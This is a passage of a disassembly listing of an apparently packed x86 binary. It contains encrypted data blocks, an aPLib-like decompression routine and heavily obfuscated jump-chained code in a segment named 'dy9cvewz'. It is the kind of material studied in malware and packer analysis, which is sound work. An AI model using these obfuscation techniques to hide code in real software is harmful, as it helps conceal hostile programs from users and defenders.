		dd 0F03F6D55h, 1392ED65h, 94F2796Eh, 8A78AA30h,	0F71CD5B8h
		dd 233B3FBEh, 0DFEC8C90h, 9093A265h, 0C7C6960Dh, 0ABFEC3B0h
		dd 0FC6ADB5Fh, 2AA92EBEh, 0A21E1F35h, 0DD58137Ch, 564097E5h
		dd 0E698C6ACh, 7576C1E2h, 0F526BC27h, 1E12FCD9h, 0C634C976h
		dd 99E0D1A1h, 798022D5h, 0FC0B52F0h, 0D1AF537Fh, 0D87EF689h
		dd 445DA7DDh, 0F7F11F5Bh, 9CBBBCF2h, 0BE89927Dh, 0DE122ACBh
		dd 0CAD17A7Ch, 579BA886h, 6317E174h, 0EDC547C7h, 4EA42E9Dh
		dd 0F6743AAAh, 3976FB9Bh, 0FBF0113Ah, 7DB7917Bh, 0BCE4FC2Dh
		dd 0B676D27Ch, 0AF3344B9h, 643C3AC8h, 0F130855Bh, 7D6FE374h
		dd 0CA69D2FEh, 7E4E8316h
		dd 9BFFFFADh, 36623192h, 1145D1E2h, 0E9129508h,	6AE2D402h
		dd 2E29A1F3h, 3A4A8EFDh, 8138D58Dh, 79FB59B1h, 6BA872B7h
		dd 0A322E125h, 8235CF27h, 3CE0EA80h, 0A5437141h, 28502B57h
		dd 0FBA6F039h, 6ED53840h, 0C99A3E13h, 0B37AA28Ah, 0FED53F1h
		dd 9A1A99B3h, 47958E26h, 2F5DD3C2h, 0D43D6229h,	0BD9280FAh
		dd 3B7BF60Ch, 0F3171C0Fh, 0CFF5D2F9h, 23FA7380h, 904BCA37h
		dd 7DF8C3F1h, 7A19A896h, 0FE1EB223h, 8D96A048h,	5D9D508Ch
		dd 5BDAF5E3h, 0F56C5A0Fh, 7EB9F4DAh, 0F64185C0h, 9AADB937h
		dd 0EA3AA670h, 0AE6368BDh, 2EEF38F7h, 46C04D7Dh, 3192B2A6h
		dd 0F1A8C6EDh, 265D6E4Bh, 0AFF8513Ch, 0F1C86E7Dh, 59AAE0DEh
		dd 9941C057h, 0BBCB6398h, 0F71EDF5Ah, 4642CCD1h, 14A3D32Eh
		dd 7AD7B185h, 7AFDEA78h, 475C076Bh, 4DF12E99h, 0CE6D375Bh
		dd 0F1E46C6h, 0EF3619DAh, 6AA790E9h, 6C5007E3h,	0DB9ED5E0h
		dd 16DA9FAFh, 0A80B1253h, 54FCAAC2h, 1FEF9017h,	2FB6AE37h
		dd 7F9ED158h, 0AC4B1DE7h, 0AE2779FAh, 0FC763ECh, 6FA7AAF1h
		dd 0E0D14520h, 0BAD09E4Eh, 5D9BBAEAh, 60C1772h,	0CDB5B27h
		dd 0F8575B45h, 865827E1h, 731C8E19h, 0D4E6CB3Fh, 7A04F553h
		dd 8D2A372Ah, 66235A7Eh, 0DBDAD801h, 4A3828Dh, 33A5EEBDh
		dd 0A8705DE2h, 6B454A58h, 0B7107910h, 0CAF4BF26h, 36E492CEh
		dd 0DFA3B47Fh, 0DCFFE473h, 0B37774D1h, 38B70ECFh, 0D5A2514Ah
		dd 0B4DC4C59h, 0ACFA96D1h, 524D29D4h, 4BA6D2DAh, 0D7F4EC6Eh
		dd 76920873h, 5C7100D1h, 4AE8902Ch, 7D510E05h, 334846C2h
		dd 4D384227h, 20D7A7D5h, 19859071h, 475834ADh, 0AF252E5h
		dd 760A5C48h, 2DD5DD53h, 0FC81FA0Ch, 8DB593BBh,	8D1231CCh
		dd 4F858B33h, 5F9D5004h, 76B09A66h, 0F5128BFDh,	4583F5Dh
		dd 0D1A73D4Ch, 3052245Ah, 50B6D343h, 5CEB3553h,	39C7D25Ch
		dd 209C3951h, 0C2D570B0h, 0F72AEF46h, 0EAABC5FDh, 2BC24061h
		dd 87E1D835h, 0C6630D8Dh, 4F0239B7h, 0F7FC1B49h, 0F89CC935h
		dd 951189DDh, 0AAA4C346h, 0FD0AC3EEh, 4707392Eh, 7573111Bh
		dd 55558D09h, 6B67C8C9h, 0E6DE55E1h, 0FDB7F20Bh, 0FD142A7Bh
		dd 0EA6A178h, 905F8A67h, 0E75B524Bh, 49BA62F6h,	5D7A18E1h
		dd 51658632h, 552B8CB0h, 9687C4E8h, 6F1AACDCh, 8503E334h
		dd 3A57E42Fh, 0DD0BE5B2h, 0D2D9A291h, 0C1FE2749h, 5EEE1DEBh
		dd 0BF3DD8DAh, 0DB43DD87h, 71A35351h, 0EC81C19Ah, 2FBE7079h
		dd 0DA6DFF4Eh, 45B21752h, 9C87817Eh, 8A4BB378h,	391764DFh
		dd 0A60A08EEh, 0F25CEA74h, 32574172h, 65F54BBAh, 5CF8BFFBh
		dd 0DF891362h, 0E1614C0Ah, 0DD3BF3CEh, 0AB6AAD5h, 8CDFA2ADh
		dd 0A331DFC3h, 0E94228B4h, 5A17C68Eh, 0C479BC2Ah, 3222E224h
		dd 280D2B2h, 99D9D81Dh,	8F9B8CBCh, 0CCE5EB64h, 0AC5768F0h
		dd 2B0DD5E4h, 42E1B87Eh, 9D154B63h, 0E3475776h,	512649ACh
		dd 0B9EE4CC0h, 0B9AB703Fh, 0A68C1D43h, 0CE2CB3BAh, 65862BB1h
		dd 73114DDBh, 2CBEE0h, 0D1A7A19Dh, 0E5A2BB47h, 0C6D3F32Ch
		dd 62EBD990h, 15781D5Eh, 0C61CE4C6h, 0E28633Ch,	3039ED7h
		dd 672DAB41h, 8530106Ah, 4ACD93D2h, 0DFCE5112h,	52EDE37h
		dd 1055AECCh, 49FAB9B2h, 7E2E7294h, 0B24F31FFh,	3647D1DEh
		dd 84A1736Ah, 965CC62Bh, 7996ACA0h, 0E5DE3491h,	0D5B36257h
		dd 0A56D5351h, 7CE4F9DBh, 3C4C4460h, 63F794F6h,	49DDEE37h
		dd 0E4055E99h, 568C521Ch, 0FBE74B64h, 2B861720h, 23F0DD6Eh
		dd 9927E79Dh, 0D88D84A6h, 0FC35FDA0h, 3025A3ACh, 0E8A3A122h
		dd 57FD4A0Ch, 69BB59C3h, 0D43FA873h, 0E12DB72Ah, 0AB690506h
		dd 0BED8E223h, 6776C80Ah, 2CEF5314h, 2E1F93A0h,	90A2DC23h
		dd 647D6417h, 1B75D4CFh, 0C595FECAh, 0A51F1B3h,	6A15EABEh
		dd 760ABECBh, 5CA04782h, 5B0FA5A6h, 16E254B7h, 3587B8F7h
		dd 99D1926Fh, 503AE1FFh, 1C5A9C7Fh, 62963ED8h, 1BEEDD5Dh
		dd 0E57F43F0h, 0AC9F8BE0h, 0B94C20ECh, 646C17D3h, 49375C59h
		dd 0D48F021Ch, 0B9555605h, 0E241D151h, 3540371Eh, 0F03FC5E8h
		dd 93E0C46Eh, 0F125DE07h, 0D90EF345h, 0EF8FF83Fh, 0F72AA666h
		dd 0DEA7F56Bh, 0E526E19Ch, 0C9531A8Ah, 0AB1E6E2Ah, 0D18F0373h
		dd 4A48AE7Ch, 0AD90EAB2h, 9B413ECCh, 79BB7E4Eh,	3E8B597Ah
		dd 518D169Eh, 0B5762062h, 3E17C56Ah, 0CC19h, 16D85258h
		dd 2
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_487216	proc near		; DATA XREF: sub_48CCD5+3Ao

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00487395 SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cld
		push	ebx
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], edx
		mov	esi, eax
		mov	edi, edx
		cmp	word ptr [esi],	434Ah
		jnz	loc_487358
		add	esi, 0Ah
		mov	[ebp+var_C], 8
		xor	ebx, ebx
		mov	edx, 80000000h
		inc	ebx

loc_487247:				; CODE XREF: sub_487216+46j
					; sub_487216+8Dj ...
		xor	eax, eax
		call	sub_48735F
		jnb	short loc_48725E
		mov	ecx, [ebp+var_10]
		call	sub_487377
		add	al, [ebp+var_11]

loc_48725B:				; CODE XREF: sub_487216+65j
		stosb
		jmp	short loc_487247
; ---------------------------------------------------------------------------

loc_48725E:				; CODE XREF: sub_487216+38j
		call	sub_48735F
		jb	loc_487300
		call	sub_48735F
		jnb	short loc_4872CB
		mov	ecx, 4
		call	sub_487377
		dec	eax
		jz	short loc_48725B
		jns	loc_48734A
		call	sub_48735F
		jnb	short loc_4872A5
		push	ebp

loc_48728B:				; CODE XREF: sub_487216+8Aj
		mov	ebp, 100h

loc_487290:				; CODE XREF: sub_487216+83j
		call	sub_48736C
		mov	[edi], al
		inc	edi
		dec	ebp
		jnz	short loc_487290
		call	sub_48735F
		jb	short loc_48728B
		pop	ebp
		jmp	short loc_487247
; ---------------------------------------------------------------------------

loc_4872A5:				; CODE XREF: sub_487216+72j
		mov	ecx, 1
		call	sub_487377
		add	eax, 7
		mov	[ebp+var_10], eax
		mov	[ebp+var_11], 0
		cmp	eax, 8
		jz	short loc_487247
		call	sub_48736C
		mov	[ebp+var_11], al
		jmp	loc_487247
; ---------------------------------------------------------------------------

loc_4872CB:				; CODE XREF: sub_487216+58j
		mov	ecx, 7
		call	sub_487377
		push	eax
		mov	ecx, 2
		call	sub_487377
		mov	ecx, eax
		inc	ecx
		inc	ecx
		pop	eax
		or	eax, eax
		jz	short loc_4872ED
		mov	ebx, eax
		jmp	short loc_48734B
; ---------------------------------------------------------------------------

loc_4872ED:				; CODE XREF: sub_487216+D1j
		cmp	ecx, 2
		jz	short loc_487358
		inc	ecx
		call	sub_487377
		mov	[ebp+var_C], eax
		jmp	loc_487247
; ---------------------------------------------------------------------------

loc_487300:				; CODE XREF: sub_487216+4Dj
		call	sub_487383
		dec	ecx
		loop	loc_487311
		mov	eax, ebx
		call	sub_487383
		jmp	short loc_48734B
; ---------------------------------------------------------------------------

loc_487311:				; CODE XREF: sub_487216+F0j
		dec	ecx
		mov	eax, ecx
		push	ebp
		mov	ecx, [ebp+var_C]
		mov	ebp, eax
		xor	eax, eax
		shl	ebp, cl
		call	sub_487377
		or	eax, ebp
		pop	ebp
		mov	ebx, eax
		call	sub_487383
		cmp	eax, 10000h
		jnb	short loc_487348
		cmp	eax, 37FFh
		jnb	short loc_487349
		cmp	eax, 27Fh
		jnb	short loc_48734A
		cmp	eax, 7Fh
		ja	short loc_48734B
		inc	ecx

loc_487348:				; CODE XREF: sub_487216+11Cj
		inc	ecx

loc_487349:				; CODE XREF: sub_487216+123j
		inc	ecx

loc_48734A:				; CODE XREF: sub_487216+67j
					; sub_487216+12Aj
		inc	ecx

loc_48734B:				; CODE XREF: sub_487216+D5j
					; sub_487216+F9j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_487247
; ---------------------------------------------------------------------------

loc_487358:				; CODE XREF: sub_487216+19j
					; sub_487216+DAj
		mov	eax, esi
		pop	esi
		pop	edi
		pop	ebx
		jmp	short loc_487395
sub_487216	endp


; =============== S U B	R O U T	I N E =======================================



sub_48735F	proc near		; CODE XREF: sub_487216+33p
					; sub_487216:loc_48725Ep ...
		add	edx, edx
		jnz	short locret_48736B
		mov	edx, [esi]
		add	esi, 4
		stc
		adc	edx, edx

locret_48736B:				; CODE XREF: sub_48735F+2j
		retn
sub_48735F	endp


; =============== S U B	R O U T	I N E =======================================



sub_48736C	proc near		; CODE XREF: sub_487216:loc_487290p
					; sub_487216+A8p
		mov	ecx, 8
		call	sub_487377
		retn
sub_48736C	endp


; =============== S U B	R O U T	I N E =======================================



sub_487377	proc near		; CODE XREF: sub_487216+3Dp
					; sub_487216+5Fp ...
		xor	eax, eax

loc_487379:				; CODE XREF: sub_487377+9j
		call	sub_48735F
		adc	eax, eax
		loop	loc_487379
		retn
sub_487377	endp


; =============== S U B	R O U T	I N E =======================================



sub_487383	proc near		; CODE XREF: sub_487216:loc_487300p
					; sub_487216+F4p ...
		xor	ecx, ecx
		inc	ecx

loc_487386:				; CODE XREF: sub_487383+Fj
		call	sub_48735F
		adc	ecx, ecx
		call	sub_48735F
		jb	short loc_487386
		retn
sub_487383	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_487216

loc_487395:				; CODE XREF: sub_487216+147j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_487216
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_48739A	proc near		; DATA XREF: sub_48CCCFo
					; sub_48CCD5+29o

; FUNCTION CHUNK AT 00489D32 SIZE 00000005 BYTES

		mov	ebp, ebx
		push	offset loc_4883D5
		jmp	loc_489D32
sub_48739A	endp

; ---------------------------------------------------------------------------
		dw 8700h
; ---------------------------------------------------------------------------
		or	al, 24h
		mov	esi, ecx
		pop	ecx
		jz	loc_488A07
		push	edi
		mov	edi, ecx
		jmp	loc_48C9A0
; ---------------------------------------------------------------------------
		align 4
		dd 0E4EE8100h, 817DC586h, 0DA1120FEh, 2C8CE9BFh, 25BA0000h
		dd 0E90048B6h, 2E67h, 0C870000h, 0C2815924h, 9460750Ah
		dd 2414879Dh, 7EDE9h, 68000000h, 4885F9h, 45BCE9h, 8C0F0000h
		dd 7B3h, 0D98E900h, 89000000h, 7A1E928h, 0C1810000h, 577C03BFh
		dd 0A52E9h, 87000000h, 487240Ch, 58C88B24h, 43EC4568h
		dd 2A2DE990h
		db 2 dup(0)
word_48742E	dw 0B1E8h		; DATA XREF: dy9cvewz:00487DBFw
					; dy9cvewz:0048858Eo ...
		dd 4Bh,	83E9C533h, 22h,	48907668h, 0F0E900h, 0
					; CODE XREF: dy9cvewz:0048BF0Cj
; ---------------------------------------------------------------------------
		shr	ecx, 9
		add	edi, ebp
		jmp	loc_48754F
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_489481

loc_487454:				; CODE XREF: sub_489481:loc_48894Bj
		add	ecx, 0C3E4895Ah
		xchg	ecx, [esp+0]
		jmp	sub_48C84D
; END OF FUNCTION CHUNK	FOR sub_489481
; ---------------------------------------------------------------------------
		push	esi
; START	OF FUNCTION CHUNK FOR sub_487E6B

loc_487463:				; CODE XREF: sub_487E6B:loc_48844Fj
		push	edx
		mov	edx, offset dword_48B2C0
		jmp	loc_489790
; END OF FUNCTION CHUNK	FOR sub_487E6B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-4]
		push	offset loc_489CB7
		jmp	loc_488C26
; ---------------------------------------------------------------------------
		align 4
		dd 0F88B5700h, 68243C87h, 6F733079h, 0E9241487h, 2AFBh
		dd 8FCF8100h, 81DE0ACBh, 4DFD21F7h, 4124E887h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48C84D

loc_4874A2:				; CODE XREF: sub_48C84D-3545j
		jmp	loc_48AAC0
; END OF FUNCTION CHUNK	FOR sub_48C84D
; ---------------------------------------------------------------------------
		jle	locret_48BB3A
		jmp	sub_4888E1
; ---------------------------------------------------------------------------
		xor	eax, 65B0E377h
		and	eax, 0E7C41356h
		sub	eax, 0E2B197CDh
		push	offset loc_488084
		jmp	locret_48807D
; ---------------------------------------------------------------------------
		align 10h
		push	ebx
		push	28E04782h
		pop	ebx
		xor	ebx, 81ECD0DFh
		jmp	loc_48B39F
; ---------------------------------------------------------------------------
		align 4
		jg	loc_487953
		and	ebp, 1A9DDBB5h
		jmp	loc_48BA46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AAB3

loc_4874F5:				; CODE XREF: sub_48AAB3+931j
		jns	loc_48C676
		mov	ebx, ebp
		not	ebx

loc_4874FF:				; CODE XREF: sub_48AAB3+925j
		add	eax, 916CB6D0h

loc_487505:				; DATA XREF: dy9cvewz:00488A76o
		xchg	eax, [esp+0]
; END OF FUNCTION CHUNK	FOR sub_48AAB3
		jmp	near ptr loc_48BA7C+1
; ---------------------------------------------------------------------------
		db    0
		db    0
		db  0Fh
		db  81h	; 
		db  79h	; y
		db  34h	; 4
		db    0
		db    0
		db 0E9h	; é
		db 0B5h	; µ
		db  4Ch	; L
		db    0
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
		jnz	loc_48B096
		jmp	loc_488E25
; ---------------------------------------------------------------------------
		align 4

locret_487528:				; CODE XREF: dy9cvewz:0048A046j
		retn
; ---------------------------------------------------------------------------
		align 2
		jmp	loc_48B5A1
; ---------------------------------------------------------------------------

loc_48752F:				; CODE XREF: dy9cvewz:00488EC8j
		jmp	locret_4886F8
; ---------------------------------------------------------------------------
		dd 0C30000h, 4031E9h, 87000000h, 15D42414h, 45B0C0h, 35F4E8h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_48754F:				; CODE XREF: dy9cvewz:0048744Dj
		xchg	eax, [esp]
		pop	eax
		add	edi, ebp
		push	offset sub_48ADDF
		jmp	locret_48A5EB
; ---------------------------------------------------------------------------
		align 10h
		dd 0A0810F00h, 64000040h, 30058Bh, 68560000h, 2B5C38A4h
		dd 5E5E9h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_563. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; START	OF FUNCTION CHUNK FOR sub_48BE85

loc_48757C:				; CODE XREF: sub_48BE85-BE2j
		jmp	loc_4896FA
; END OF FUNCTION CHUNK	FOR sub_48BE85
; ---------------------------------------------------------------------------
		db 0E9h, 49h, 35h
		dd 0E9000000h, 0FFFFFF05h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48899B

loc_48758D:				; CODE XREF: sub_48899B:loc_48C5F3j
		mov	byte ptr [ecx],	8Bh
		pop	ecx
		rol	edx, 0Fh
		sub	edx, 2E7CB27Ch
		xor	edx, 9ABA29E6h
		jmp	loc_489135
; END OF FUNCTION CHUNK	FOR sub_48899B
; ---------------------------------------------------------------------------

locret_4875A5:				; CODE XREF: dy9cvewz:0048A0C2j
		retn
; ---------------------------------------------------------------------------
		align 4
		push	0ADEDF60h
		xchg	ebx, [esp]
		mov	eax, ebx
		jmp	loc_4882BD
; ---------------------------------------------------------------------------

loc_4875B7:				; CODE XREF: dy9cvewz:loc_48B5B2j
		pop	ebx

loc_4875B8:				; DATA XREF: dy9cvewz:0048C669o
		xor	eax, [eax]
		or	eax, eax
		jmp	loc_48A119
; ---------------------------------------------------------------------------
		db 0E8h, 9Eh, 4Ch
		align 8

loc_4875C8:				; CODE XREF: dy9cvewz:0048B0ADj
		jmp	loc_48B4C5
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C6h	; CODE XREF: dy9cvewz:loc_48C639j
		dd 505B8703h, 0AAFA4368h, 0CF9E8A4h, 0
; ---------------------------------------------------------------------------

loc_4875E0:				; CODE XREF: dy9cvewz:00489A08j
		jmp	loc_48C0D1
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 5122h
; ---------------------------------------------------------------------------

loc_4875EC:				; CODE XREF: sub_48829D+2F11p
		xchg	edi, [esp]
		pop	edi
		push	0B07F8F7Ch
		pop	ebx
		rol	ebx, 7
		add	ebx, 0C080B597h
		mov	ds:0E9241C87h, al
		int	3		; Trap to Debugger
		sbb	[eax], eax
; ---------------------------------------------------------------------------
		db 0
		dd 0C300C300h, 5B0F03C6h, 488AF568h, 2CDEE900h,	0FD330000h
		dd 4417E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48899B

loc_487622:				; CODE XREF: sub_48899B+11j
		jz	loc_48A6F1
		jnz	loc_488F41
		jmp	loc_488567
; END OF FUNCTION CHUNK	FOR sub_48899B
; ---------------------------------------------------------------------------
		align 4
		dd 17E1C100h, 1C0FE9h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_439. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_48763E:				; CODE XREF: dy9cvewz:00488550j
		pop	edi
		add	eax, ebp
		call	sub_48C27C
; START	OF FUNCTION CHUNK FOR sub_48987C

loc_487646:				; CODE XREF: sub_48987C+11j
		jmp	loc_4889CB
; END OF FUNCTION CHUNK	FOR sub_48987C
; ---------------------------------------------------------------------------
		align 4
		dd 0CE815E00h, 65E7D459h, 5BE8E681h, 0C6811606h, 45F93301h
		dd 0E91BC6C1h, 1045h, 307C600h,	3DDEE85Fh, 840F0000h, 262Ch
		dd 58240487h, 5B27689Ch, 0E95B07CBh, 49B3h, 45810F00h
		dd 0E900004Ch, 50ECh, 0B8FE8100h, 0E9AE3168h, 4DDh, 42AE870Fh
		dd 0C870000h, 0C3815924h, 6FC68A2Ah, 2368E8h, 0DDE90000h
		dd 42h,	0B0C015FFh, 68520045h, 60596329h, 5DE2815Ah, 68390F05h
		dd 4892D7h, 50D3E9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48ACED

loc_4876D9:				; CODE XREF: sub_48ACED:loc_48B1B5j
		add	edi, 46A8C156h
		xchg	edi, [esp+0]
		jmp	loc_48A624
; END OF FUNCTION CHUNK	FOR sub_48ACED
; ---------------------------------------------------------------------------
		push	offset loc_48959D
		jmp	loc_487C9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_4876F1:				; CODE XREF: sub_48BB9F-22Ej
		pushf
		shl	ebp, 6
		and	edx, 47B4D5D0h

loc_4876FB:				; CODE XREF: sub_48BB9F:loc_48B966j
		rol	eax, 1Dh
		xor	eax, 44E85C6Fh
		add	eax, 70E8ED38h
		mov	eax, [eax]
		call	sub_4881E5
		shl	ebx, 8
		jmp	sub_48829D
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_565. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	locret_4894FD
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------

loc_487721:				; CODE XREF: dy9cvewz:00489670j
		sbb	eax, esi
		xchg	ecx, esi
		and	ebp, 1498F0BEh

loc_48772B:				; CODE XREF: dy9cvewz:00487809j
		push	edx
		push	0B3EE1096h
		jmp	loc_489FE3
; ---------------------------------------------------------------------------
		adc	edx, 5CCEDCF8h

; =============== S U B	R O U T	I N E =======================================



sub_48773C	proc near

; FUNCTION CHUNK AT 00488C95 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		imul	byte ptr [edx]
		push	offset loc_48A02D
		jmp	loc_488C95
sub_48773C	endp

; ---------------------------------------------------------------------------
		dd 0EBEE8100h, 526F9D7Ah, 0EA23E681h, 0C6C1120Dh, 3CC2E81Ah
					; CODE XREF: sub_4898B7+16j
		dd 0
; ---------------------------------------------------------------------------
		jmp	locret_489444
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
; ---------------------------------------------------------------------------
		sal	byte ptr [ebp-73h], 1
		pop	esi
		mov	[esi], ebp
		popf
; START	OF FUNCTION CHUNK FOR sub_48A095

loc_487774:				; CODE XREF: sub_48A095:loc_48C4C0j
		or	edx, 579382A2h
		xor	edx, 609230Fh
		jmp	loc_48B165
; END OF FUNCTION CHUNK	FOR sub_48A095
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48ADB5

loc_487785:				; CODE XREF: sub_48ADB5:loc_48961Ej
		call	sub_48AD5E
		add	cl, ch
		insd
		sub	al, [eax]
; END OF FUNCTION CHUNK	FOR sub_48ADB5
; ---------------------------------------------------------------------------
		db 0
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_544. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		ja	loc_48A7A3
		jmp	sub_48B3BA
; ---------------------------------------------------------------------------
		align 10h
		xchg	eax, [esp]
		or	edx, edx
		jz	loc_48B4B0
		jmp	loc_48BB45
; ---------------------------------------------------------------------------
		dd 19FD8100h, 0E923BD12h, 46C2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AE73

loc_4877BC:				; CODE XREF: sub_48AE73+Aj
		call	sub_48CA79
; END OF FUNCTION CHUNK	FOR sub_48AE73
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h	; CODE XREF: dy9cvewz:0048C007j
		dd 40E1h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_567. PRESS KEYPAD	"+" TO EXPAND]
		align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_443. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		rol	esi, 0Ah
		or	esi, 0C5D13F73h
		cmp	esi, 315B160Ch
		jmp	loc_48C76F
; ---------------------------------------------------------------------------
		align 10h
		dd 69C28100h, 0E96837FAh, 26D1h, 3F86E8h ; CODE	XREF: dy9cvewz:loc_48A012j
		db 3 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_440. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AE49

loc_4877F6:				; CODE XREF: sub_48AE49+Ej
		jmp	loc_48793B
; END OF FUNCTION CHUNK	FOR sub_48AE49
; ---------------------------------------------------------------------------

loc_4877FB:				; CODE XREF: dy9cvewz:00488588j
		jmp	loc_48BC70
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_487801:				; CODE XREF: dy9cvewz:loc_48A2E8j
		sub	eax, edx
		jz	loc_48B05F
		jnz	loc_48772B
		jmp	loc_487EC8
; ---------------------------------------------------------------------------
		mov	ecx, ebx
		xchg	ecx, [esp]
		push	offset byte_48874F
		jmp	loc_4888DC
; ---------------------------------------------------------------------------
		align 4
		db 0, 0C3h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_487827:				; CODE XREF: sub_48AD01+1B2Aj
		jmp	near ptr loc_48ABBA+1
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_48782D:				; CODE XREF: dy9cvewz:0048B3B4j
		jmp	loc_48B89E
; ---------------------------------------------------------------------------
		align 4

loc_487834:				; CODE XREF: dy9cvewz:0048A8CEj
		jmp	loc_48C293
; ---------------------------------------------------------------------------
		align 2
		push	396EEA23h
		pop	eax
		or	eax, 0BDF6F73Ch
		push	ebx
		mov	ebx, offset loc_488189
		jmp	loc_489100
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
; ---------------------------------------------------------------------------
		or	al, 24h
		pop	ecx
		push	(offset	loc_48800A+1)
		jmp	locret_488AC1
; ---------------------------------------------------------------------------
		align 2
		dw 800Fh
		dd 18A4h, 8115CEC1h, 0DAFC5EDEh, 3984E8B0h, 13000000h
		dd 4DABE9D1h, 34870000h, 5EDE8B24h, 528CC381h, 11E9DACFh
		dd 49h,	0AC6FFE81h, 0ABE9F039h
		db 29h,	2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_48789B	proc near		; CODE XREF: dy9cvewz:loc_4896BEp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0048914F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0048B047 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	ebx, [esp-4+arg_0]
		pop	ebx
		mov	ebx, offset loc_488670
		jmp	loc_48B047
sub_48789B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		dw 0F781h
		dd 0A1DE259Fh, 0E8243C87h, 2D90h, 5232E900h, 0
		dd 0FE0B2768h, 6C6C142h, 1AA3E681h, 0CE81C034h,	0C02F8B4Ch
		dd 69EFC681h, 0F5D2E9B0h, 0FA20C681h, 368B560Fh, 1CD0E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B011

loc_4878EF:				; CODE XREF: sub_48B011+7j
		xchg	ebx, [esp+0]
		push	5F47C232h
		pop	edi
		add	edi, 9D0A1609h
		or	edi, 7DFC777Ah
		jmp	loc_48944B
; END OF FUNCTION CHUNK	FOR sub_48B011
; ---------------------------------------------------------------------------
		db 2 dup(0), 59h
		dd 811DC1C1h, 0D9DBCDE1h, 17F181BCh, 0E842A8BCh, 1CA4h
		dd 0D0F70000h, 2E88E9h,	0C1000000h, 72E905C1h, 9C000031h
		dd 30A6E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AE49

loc_48793B:				; CODE XREF: sub_48AE49:loc_4877F6j
		mov	esi, ecx
		xchg	esi, [esp+0]
		push	78C91D85h
		pop	ecx
		jmp	loc_48A212
; END OF FUNCTION CHUNK	FOR sub_48AE49
; ---------------------------------------------------------------------------
		align 4
		push	esi
		push	138AA5AAh
		pop	esi

loc_487953:				; CODE XREF: dy9cvewz:004874E4j
		add	esi, 7BA1E4CBh
		or	esi, 0A502B91Ah
		sub	esi, 0DE079778h
		add	esi, 2F216DB4h
		jmp	loc_48A9D8
; ---------------------------------------------------------------------------
		dd 0C870000h, 76685924h, 0E90048ACh, 36Fh, 61F68100h, 85588478h
					; CODE XREF: dy9cvewz:0048BD94p
		dd 840F5EC6h, 1DE4h, 1BF0C468h,	88E95894h, 9900001Ch, 314E9h
		dd 0C30000h, 57820F00h,	81000012h, 0C01151EBh, 12C3C15Bh
		dd 3A09E381h, 0E7E89CF2h, 0FFFFFCh
		db 0
; ---------------------------------------------------------------------------

loc_4879C1:				; CODE XREF: dy9cvewz:loc_48C9A0j
		xchg	edi, [esp]
		mov	ecx, offset loc_48852A
		jmp	loc_48AD9F
; ---------------------------------------------------------------------------
word_4879CE	dw 8100h		; DATA XREF: dy9cvewz:00488EC4o
		dd 0DEC834C0h, 34C0813Ah, 0E8C52138h, 16D3h, 830F0000h
